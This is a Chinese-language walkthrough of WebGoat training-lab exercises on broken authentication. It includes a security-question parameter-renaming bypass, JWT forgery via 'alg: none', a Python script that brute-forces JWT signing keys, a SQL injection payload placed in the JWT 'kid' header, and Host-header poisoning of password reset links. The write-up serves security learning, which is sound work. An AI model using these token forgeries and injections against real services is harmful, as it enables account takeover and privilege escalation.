(A2)Broken Authentication

Authentication Bypasses

讲了一些简单的绕过认证的方法。

Stage 2

拦截给两个参数换个名字就行了。

Stage2_rename

翻了一下它的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;
}
if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
return false;
}
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
return false;
}
return true;

}

他首先检测了参数个数,然后后面的逻辑是是,如果某个参数存在,才检测这个参数的正确性,因此只需要换两个名称即可。

JWT tokens

介绍JWT token的原理,和漏洞利用。

推荐一个解密的网址:jwt.io

Stage 4

直接点投票,是没法投票的。看到传了的参数中cookie中的access_token应该就是JWT。如下

1
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.rJ6H8sUCHgv88txby4GJjczkqh3nQxePrAtjdn818404rn2IT1as2mp_OcOZ0z1tAzSTJcAC6r7bqNPh4GZvbw

.分成三段,对前两段base64解密。

1
2
3
4
//Header
{"alg":"HS512"}
//payload
{"iat":1602755007,"admin":"false","user":"Jerry"}

加密方式是HS512,实际上是HMAC with SHA-512。先尝试一下弱密码破解,但没成功。此时陷入了迷茫。网上搜了一波才知道原来可以直接改掉加密方式,把HS512直接改成none就行了。

1
2
3
4
//Header
{"alg": "none"}
//payload
{"iat":1602755007,"admin":"true","user":"Jerry"}

base64加密后得到token,注意,这里需要使用url safe的base64 ,因此把结尾的等号去掉,得到eyJhbGciOiJub25lIn0K.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9Cg.,最后有一个点不要忘了!可以直接去浏览器修改cookie。点击删除按钮,就成了。

由此题看出,服务端在验证JWT时,指定签名算法是很重要的。

Stage 5

刚刚写的脚本有用了,直接爆破。hints里字典都提供了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import jwt

token = R"eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwMTg4OTkzOCwiZXhwIjoxNjAxODg5OTk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.YC1qbCP3Be2FZQkmaAek69E1nlvHEwQOizCNJQhEYkM"

pas=[]
with open("google-10000-english-usa.txt","r") as f:
pas=f.readlines()

for p in pas:
p=p.strip()
try:
data = jwt.decode(token, p,verify=True)
print(p)
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print(p)
break
except jwt.exceptions.InvalidSignatureError:
continue

得到密码是washington

然后看看里面的内容吧:

1
2
3
4
//Header
{"alg":"HS256"}
//payload
{"iss":"WebGoat Token Builder","aud":"webgoat.org","iat":1601889938,"exp":1601889998,"sub":"tom@webgoat.org","username":"Tom","Email":"tom@webgoat.org","Role":["Manager","Project Administrator"]}

按照要求把Tom改成WebGoat,还有exp到期时间也要改掉。再用python生成一次。

1
2
3
4
5
6
7
8
9
10
11
12
import jwt,datetime
data={
"iss":"WebGoat Token Builder",
"aud":"webgoat.org",
"iat":1601889938,
"exp":datetime.datetime.now() + datetime.timedelta(days=1),
"sub":"tom@webgoat.org",
"username":"WebGoat",
"Email":"tom@webgoat.org",
"Role":["Manager","Project Administrator"]
}
print(jwt.encode(data, 'washington', algorithm='HS256'))

就是最终答案了。

Stage 7

先打开提示中的log文件,里面有一段JWT。直接开始分析

1
2
{"alg":"HS512"}
{"iat":1526131411,"exp":1526217811,"admin":"false","user":"Tom"}

显然是过期了的,一种方法是像刚才那要破解出密码,但应该不会出一样的题。还是试一试前面的方法,把加密方式改成none,并更新exp。用同样的方式生成JWT,填到Headers的Authorization,就成功了。

Stage 8

先直接点Tom下方的Delete按钮,得到自己的JWT。然后应该是要修改成Tom的。JWT内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//Header
{
"typ":"JWT",
"kid":"webgoat_key",
"alg":"HS256"
}
//Payload
{
"iss":"WebGoat Token Builder",
"iat":1524210904,
"exp":1618905304,
"aud":"webgoat.org",
"sub":"jerry@webgoat.com",
"username":"Jerry",
"Email":"jerry@webgoat.com",
"Role":["Cat"]
}

尝试直接取消签名。算法改成none,失败,服务器不接收。再试试暴力破解,暴力破解,也同样失败。只好看hints了。原来加密用的密钥的id就放在Header部分了。继续看hints,原来kid是存在数据库里的,那么必然会用SQL语句查询,于是便在JWT的Header里的kid进行SQL注入(这太难想到了吧),让其返回一个固定的值。

经过不断尝试(并偷翻源码),知道sql查询返回的实际上是密钥的base64编码。

因此构造这样的JWT,Stage8_JWT_SQL

python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import jwt,datetime
data={
"iss": "WebGoat Token Builder",
"iat": 1524210904,
"exp": 1618905304,
"aud": "webgoat.org",
"sub": "jerry@webgoat.com",
"username": "Tom",
"Email": "jerry@webgoat.com",
"Role": [
"Cat"
]
}
head={
"typ": "JWT",
"kid": "'union select 'MQ==' from INFORMATION_SCHEMA.SYSTEM_USERS --",
"alg": "HS256"
}
data["exp"]=datetime.datetime.now() + datetime.timedelta(days=365)
print(jwt.encode(data,"1", algorithm='HS256',headers=head))

//output: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Iid1bmlvbiBzZWxlY3QgJ01RPT0nIGZyb20gSU5GT1JNQVRJT05fU0NIRU1BLlNZU1RFTV9VU0VSUyAtLSJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYzMzQ3NTM5OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6_HQzwkh4D3Y7JMH08PoTXDb2LH7_RUBWTWVuBDS7m8

这道题在JWT的头部进行SQL注入,把之前做的东西也加了进来,对我来说,难度还是比较大。

Password reset

介绍一些重置密码时的漏洞。

Stage 2

点击Forgot your password?,输入用户名为你注册时的用户名,到WebWolf里接受,再用新密码登录就行了。

Stage 4

让我们获得”tom”, “admin” 和”larry”的密码,这里的第二个问题是喜欢的颜色,但颜色的单词也不多,所以先试了试爆破,用BurpSuite的Cluster Bomb模式,选好字典,得到了下面的结果。Stage4_Question

Stage 5

让你选你觉得安全的问题,凭感觉选就行了,选一些答案的可能性较多,不易被尝试出来的。

Stage 6

根据hints,是要让我们发送一个钓鱼链接。这里只需要把请求中的Host头改成webwolf的地址就行了。根据hints,Tom会点开所有发往他邮箱的链接,因此我们在WebWolf的Requests里就可以看到这个请求了。Stage6_reset

然后把这个链接改成原来的WebGoat的地址,重新设置一个密码就行了。

Secure Passwords

这一节主要讲安全的密码的重要性。现在我的密码都是Bitwarden随机生成的,还是比较安全的,这里也推荐大家使用一些密码管理的平台,来保护密码的安全。

Stage 4

让你输入一个安全的密码,随便输输就行了。

Sensitive Data Exposure

在用http发送敏感信息时,请求若被他人截获,就可能导致信息暴露。不过https因该不存在这样的问题。

Stage 2

点击Log in,发送的请求中有两个参数,填入框中即可。

参考

  1. JWT格式 - 简书
  2. webgoat-JWT tokens - 知乎
  3. WebGoat8 M17 JWT tokens 题解 - CSDN